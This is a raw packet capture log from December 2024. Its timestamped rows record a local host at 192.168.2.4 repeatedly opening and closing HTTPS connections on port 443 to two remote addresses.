Dec 6, 2024 00:15:20.364545107 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:20.365062952 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:20.365067005 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:20.365263939 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:20.365309000 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:20.365742922 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:20.403337955 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:20.411333084 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.359107018 CET	443	49791	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.359224081 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.359236002 CET	443	49791	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.359318972 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.359388113 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.359415054 CET	443	49791	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.359467030 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.360177994 CET	49798	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.360210896 CET	443	49798	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.360332012 CET	49798	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.360579967 CET	49798	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.360593081 CET	443	49798	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.416896105 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.416975975 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.416995049 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.417040110 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.417113066 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.417145014 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.417257071 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.417304039 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.417315960 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.417635918 CET	49799	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.417655945 CET	443	49799	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.417717934 CET	49799	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.417891026 CET	49799	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.417901039 CET	443	49799	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.465482950 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.465526104 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.465612888 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.465634108 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.465707064 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.472830057 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.472840071 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.473512888 CET	49800	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.473540068 CET	443	49800	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.473666906 CET	49800	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.474359989 CET	49800	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.474373102 CET	443	49800	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.726840973 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.726885080 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.726969957 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.726973057 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.730755091 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.730982065 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.730992079 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.731506109 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.731535912 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.731595993 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.731873035 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.731884956 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:21.769623995 CET	49798	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.769642115 CET	49799	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.769673109 CET	49800	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:21.770519018 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.770539999 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.770745993 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.771939039 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.771948099 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.772443056 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.772474051 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:21.772532940 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.773068905 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:21.773086071 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.418462992 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:23.418529987 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:23.419003010 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:23.419013023 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:23.420733929 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:23.420739889 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:23.462508917 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.462594986 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.463148117 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.463207006 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.469150066 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.469157934 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.469352961 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.469403028 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.469779968 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.473745108 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.473825932 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.474381924 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.474440098 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.475795031 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.475805998 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.476006985 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.476057053 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.476350069 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:23.515336990 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:23.519339085 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.355638027 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.355679035 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.355712891 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.355736971 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.355748892 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.355783939 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.355791092 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.355798960 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.355844975 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.356615067 CET	49801	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.356626987 CET	443	49801	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.367466927 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.367532969 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.367547989 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.367593050 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.367676020 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.367702007 CET	443	49802	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.367748976 CET	49802	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.368237972 CET	49807	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.368259907 CET	443	49807	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.368268013 CET	49808	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.368274927 CET	443	49808	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.368344069 CET	49807	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.368344069 CET	49808	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.368607998 CET	49807	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.368607998 CET	49808	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.368623018 CET	443	49807	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.368638039 CET	443	49808	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.382488012 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.382539988 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.382554054 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.382597923 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.382653952 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.382687092 CET	443	49803	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.382752895 CET	49803	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.383141041 CET	49810	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.383162975 CET	443	49810	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.383227110 CET	49810	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.383291006 CET	49809	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.383325100 CET	443	49809	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:24.383383036 CET	49809	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.383529902 CET	49810	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:24.383542061 CET	443	49810	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:24.383649111 CET	49809	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:24.383660078 CET	443	49809	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:25.783524990 CET	49808	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:25.783566952 CET	49807	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:25.783584118 CET	49810	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:25.783617020 CET	49809	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:25.784223080 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:25.784254074 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:25.784317017 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:25.785058975 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:25.785073996 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:25.785753965 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:25.785779953 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:25.785837889 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:25.786602974 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:25.786613941 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.474701881 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.474795103 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.475352049 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.475517035 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.475717068 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.475784063 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.476466894 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.476521969 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.479068995 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.479082108 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.479286909 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.479334116 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.479552031 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.479562044 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.479691982 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.479816914 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.479866028 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.480140924 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:27.523360014 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:27.527337074 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.386358976 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.386442900 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.386466026 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.386508942 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.386609077 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.386637926 CET	443	49813	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.386684895 CET	49813	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.387283087 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.387319088 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.387386084 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.387654066 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.387666941 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.389404058 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:28.389427900 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:28.389494896 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:28.389719963 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:28.389731884 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:28.392474890 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.392532110 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.392554998 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.392595053 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.392637968 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.392677069 CET	443	49812	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.392723083 CET	49812	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.393275023 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:28.393296957 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:28.393352985 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:28.393593073 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.393600941 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:28.393635035 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:28.393647909 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:28.393665075 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.393937111 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:28.393944979 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.086072922 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.086164951 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.086617947 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:30.086699963 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:30.086711884 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.086762905 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.089376926 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:30.089462996 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:30.090221882 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:30.090231895 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:30.090342999 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.090349913 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.090477943 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:30.090532064 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:30.090555906 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.090600967 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.090996027 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:30.091149092 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.091533899 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:30.091541052 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:30.091763020 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:30.091816902 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:30.092178106 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:30.095504999 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.095616102 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.097362041 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.097424030 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.098717928 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.098722935 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.099308014 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.099361897 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.099647045 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:30.131334066 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:30.135333061 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:30.139318943 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:30.143330097 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.099931955 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.100013018 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.100140095 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.100168943 CET	443	49817	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.100224972 CET	49817	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.100771904 CET	49823	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.100807905 CET	443	49823	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.100873947 CET	49823	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.101200104 CET	49823	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.101211071 CET	443	49823	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.104363918 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.104441881 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.104461908 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.104506969 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.104710102 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.104746103 CET	443	49820	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.104839087 CET	49820	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.105267048 CET	49824	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.105312109 CET	443	49824	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.105381966 CET	49824	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.105631113 CET	49824	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.105645895 CET	443	49824	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.120712996 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.120775938 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.120799065 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.120811939 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.120821953 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.120872021 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.120882034 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.120940924 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.121150970 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.121200085 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.121205091 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.121248960 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.121759892 CET	49819	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.121769905 CET	443	49819	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.122267962 CET	49825	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.122298956 CET	443	49825	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.122373104 CET	49825	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.122613907 CET	49825	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.122625113 CET	443	49825	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.369385958 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.369427919 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.369448900 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.369462967 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.369477987 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.369503021 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.369508028 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.369529009 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.369544029 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.369570017 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.370105028 CET	49818	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.370117903 CET	443	49818	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.370654106 CET	49826	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.370691061 CET	443	49826	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.370748997 CET	49826	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.370968103 CET	49826	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.370984077 CET	443	49826	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:31.471024036 CET	49823	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.471075058 CET	49824	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.471143007 CET	49825	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.471172094 CET	49826	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:31.471630096 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.471653938 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.471709013 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.472507000 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.472522020 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.473315954 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.473340034 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:31.473393917 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.474719048 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:31.474733114 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.164629936 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.164714098 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.165271044 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.165328026 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.169274092 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.169281960 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.169488907 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.169542074 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.169923067 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.170003891 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.170001030 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.170562983 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.170620918 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.177295923 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.177309036 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.177522898 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.177568913 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.178361893 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:33.215333939 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:33.219332933 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.080698013 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.080765963 CET	49827	443	192.168.2.4	142.250.181.14
